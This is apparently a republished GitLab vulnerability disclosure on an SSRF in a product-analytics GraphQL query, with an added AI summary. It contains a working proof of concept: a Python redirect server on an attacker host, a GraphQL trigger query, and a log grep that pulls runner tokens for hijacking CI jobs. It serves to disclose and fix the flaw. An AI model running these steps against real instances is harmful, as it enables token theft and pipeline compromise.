SSRF in Analytics Dashboard, bypassing all localhost restrictions, exposing runner tokens to logfiles
A GraphQL analytics query fetched a user-controlled URL with local requests allowed, so an attacker could make the server request internal addresses such as localhost. By pointing it at an internal Redis scraper, the full response was written into log files, exposing runner tokens that could be used to hijack CI jobs.
GitLab
Originally disclosed on GitLab
- Fixed in 2 months
- Disclosed after 2 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #3262020 by joaxcar on 2025-07-20, assigned to @katwu:
Report | Attachments | How To Reproduce
Report
Summary
There exists a blind SSRF in ee/lib/analytics/product_analytics/project_usage_data.rb
def events_stored_count(month: Time.current.month, year: Time.current.year)
response = Gitlab::HTTP.get(
usage_url(year, month),
allow_local_requests: true,
timeout: 10
)
Gitlab::Json.parse(response.body)['result']
end
As allow_local_requests: true is true, the request is allowed to hit any internal endpoint, disregarding any instance limitations (blocked by default).
The impact here lies in that it's an arbitrary request to localhost, this bypasses the security perimeter listed here
To prevent exploitation of insecure internal web services, all webhook and integration requests to the following local network addresses are not allowed:
- The current GitLab instance server address.
- Private network addresses, including
127.0.0.1,::1,0.0.0.0,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16, and IPv6 site-local (ffc0::/10) addresses.
I reported this here https://hackerone.com/reports/2707826 but it got closed as a dupe of https://hackerone.com/reports/2697456 but after pointing out that its still active I was asked to send a new report. At the time I did not know a way to escalate it from blind to something impactfull but now I think I can prove exploitability here as well.
Note that the setup is quite tricky but Its already been proven to work in https://hackerone.com/reports/269745
Steps to reproduce
This is quite advanced, so please watch the video of a successful attack first
First some setup
Prepare attacker Analytics system (i will use Digitalocean)
- Create a droplet.
- Connect to the droplet
- Install Docker on the droplet using these commands
sudo apt update;
sudo apt -y install vim apt-transport-https ca-certificates curl software-properties-common;
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -;
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable" apt-cache policy docker-ce;
sudo apt install docker-ce -y;
- Open some ports using these commands
sudo ufw allow 20
sudo ufw allow 4000
sudo ufw allow 9091
sudo ufw allow 4567
sudo ufw enable
sudo ufw status verbose
- Download and start
Analytics Dashboardservices
git clone https://gitlab.com/gitlab-org/analytics-section/product-analytics/devkit.git
cd devkit
cp cube/.env.sample cube/.env
sed -i 's/http:\/\/host.docker.internal:3000/https:\/\/gitlab.com/g' cube/.env
docker compose up -d
- Wait a few minutes to have it set up
- Create a new file named
attack.pywith this content
### !/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://127.0.0.1:9121/scrape?target=unix:///var/opt/gitlab/redis/redis.socket&check-keys=runner:build_queue:*')
self.end_headers()
def run(server_class=HTTPServer, handler_class=RedirectHandler, host='0.0.0.0', port=4567):
server_address = (host, port)
httpd = server_class(server_address, handler_class)
print(f"Starting redirect server on {host}:{port}...")
httpd.serve_forever()
if __name__ == "__main__":
run()
Prepare a Gitlab instance
8. Start a self-hosted GitLab with an Ultimate license
9. SSH to the Gitlab instance and run these two commands to enable the feature flags for product analytics
sudo gitlab-rails runner "Feature.enable(:product_analytics_admin_settings)"
sudo gitlab-rails runner "Feature.enable(:product_analytics_features)"
- Log in as
rootto the instance - Go to
https://gitlab.example.com/admin/application_settings/analyticsand enable it by checking the checkbox and just typehttp://123.123.123.123in all fealds - Click save
- Go to
https://gitlab.example.com/admin/usersand create a new normal user (this is the attacker) - Go to
https://gitlab.example.com/admin/runnersand configure a runner for the instance
Now the attack
- Open Chrome and go to the GitLab instance and log in as the new attacker user
- Create a new project
- Go to
http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/settings/analyticsand fill out the form with (Where<IP>is the IP to your droplet)
Snowplow configurator connection string:http://test:test@<IP>:4567Collector host:http://<IP>:9091Cube API URL:http://<IP>:4000Cube API key:thisisnotarealkey43ff15165ce01e4ff47d75092e3b25b2c0b20dc27f6cd5a8aed7b7bd855df88c9e0748d7afd37adda6d981c16177b086acf496bbdc62dbb
- Save the config
- Go to
http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/and click onSet up, on the next page uncheck "use instance settings to use your own" - The page will load for a while. When the connection is successful, scroll down on the info page until you find the HTML snippet to start adding data. Copy the HTML from the
Using HTML scriptportion - Go to <redacted tool> and paste the HTML in the code box, click
submit, this will render the HTML and send a metric to the server. Refresh the page a few times - After a few seconds, it should now be ready and visiting
http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/should show a list of dashboards - Now go back to the SSH session on the (attacker-controlled) droplet and run
docker compose down
- start the attacker python server
python3 attack.py
- Go to
http://gitlab.example.com/-/graphql-explorerand send this query (replaceGROUPNAME/PROJECTNAMEwith the value for your attacker project)
query{
project(fullPath:"GROUPNAME/PROJECTNAME"){
productAnalyticsEventsStored(monthSelection:[{month:1,year:2024}]) {
count
}
}
}
- This should return a
500server error. The SSRF is now done and will have sent this request to the internal network bypassing all restrictionshttp://127.0.0.1:9121/scrape?target=unix:///var/opt/gitlab/redis/redis.socket&check-keys=runner:build_queue:*
Leak
- SSH into the gitlab instance
- Run this command
grep -rl "glrt-" /var/log/gitlab/gitlab-rails/
And you should see a few log files that contain gitlab runner tokens. Go into any of these files and search for glrt- to find the full token. The token will be part of a Redis dump generated by the SSRF due to the excessive error message from the analytics query
This token can then be used to set up a "copy" of the original runner and hijack CI jobs on the instance, leaking all CI secrets and injecting code into pipelines
Impact
The requirements for a high impact here are that the attacker somehow has access to GitLab logs. This is a high PR, but it's not unthinkable, and the reason for Gitlab already masking everything sensitive in the logfiles. See, for example, this medium severity issue that could leak access tokens in the logs https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/#possible-access-token-exposure-in-gitlab-logs
The issue here is a bit different as the attacker can control what is leaked. So the PR: H is the same as it's a high privilege to view logs, but leaking all runner tokens has I: H, C: H, and S: C as we are now injecting ourselves into CI pipelines (see GitLab CVSS calculator). Moreover, the error message leaks the full SSRF response, so it's also possible to probe outside of Gitlab into the full internal network as the codepath has allow_local_requests: true. This means that we could also leak any response from external systems on the internal network.
The POC shows this by the example of us pivoting from Gitlab to using the redis scraper running on port 9121 and then into the local Redis instance
What is the current bug behavior?
Analytics events_stored_count allows targeting localhost even if that is blocked on the instance. AND the error message is storing the full response in logs without any limits to size or anything.
What is the expected correct behavior?
Localhost should be blocked, and the error message should probably get trimmed down
Impact
Blind SSRF that can hit localhost on any path, port and query param. (GET)
Impact
SSRF bypassing local network protections, causing excessive error messages to leak highly sensitive data into logfiles.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
- <redacted>
How To Reproduce
Please add reproducibility information to this section:
Implementation plan
~backend - :three:
As discussed, this issue doesn't need to be backported and can be a public MR. We can cite https://gitlab.com/gitlab-org/gitlab/-/merge_requests/200079+ as the reason for the removal of this GraphQL endpoint (it isn't being used anywhere). We should not mention this SSRF in the public MR, but we can link to the MR here.
- Remove
Analytics::ProductAnalytics::ProjectUsageData - Remove
product_analytics_events_stored - Remove
product_analytics_events_used - Remove
Resolvers::ProductAnalytics::ProjectUsageDataResolver - Remove
Types::ProductAnalytics::MonthSelectionInputType - Remove
Types::ProductAnalytics::MonthlyUsageType - Remove the API requests spec
- Remove any other specs relating to these files
- Run
bundle exec rake gitlab:graphql:compile_docsto update the GraphQL documentation - Verify the group usage pages load correctly
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the analytics usage code called the HTTP helper with local requests explicitly allowed and then stored the full error response in logs without trimming it.
Impact
An attacker who can read GitLab logs could obtain runner tokens and hijack CI jobs, and the same flaw could probe other internal services, though reading the logs requires high privileges.
What the attacker needed
Self-hosted GitLab Ultimate; attacker can read GitLab logs; attacker-controlled public host; feature flags enabled
The fix
The implementation plan is to remove the affected analytics code and GraphQL endpoint rather than patch it.
How it was found
- Set up an attacker-controlled analytics stack and a redirect server on a public host.
- Configure a self-hosted GitLab instance with product analytics enabled and point the project analytics settings at the attacker host.
- Load the dashboards page and send a metric so the analytics data is populated.
- Stop the attacker stack and start the redirect server that points to an internal address.
- Send the GraphQL query for product analytics events stored, which triggers the server-side request.
- Search the GitLab Rails log files for runner token prefixes to find the leaked token.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The server has a feature that fetches a web address on the user's behalf. Normally it refuses to fetch internal addresses, but here that protection was switched off, so the server could be tricked into talking to services only it can reach. The reply from those internal services was then saved in log files, and those logs contained secret runner tokens.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.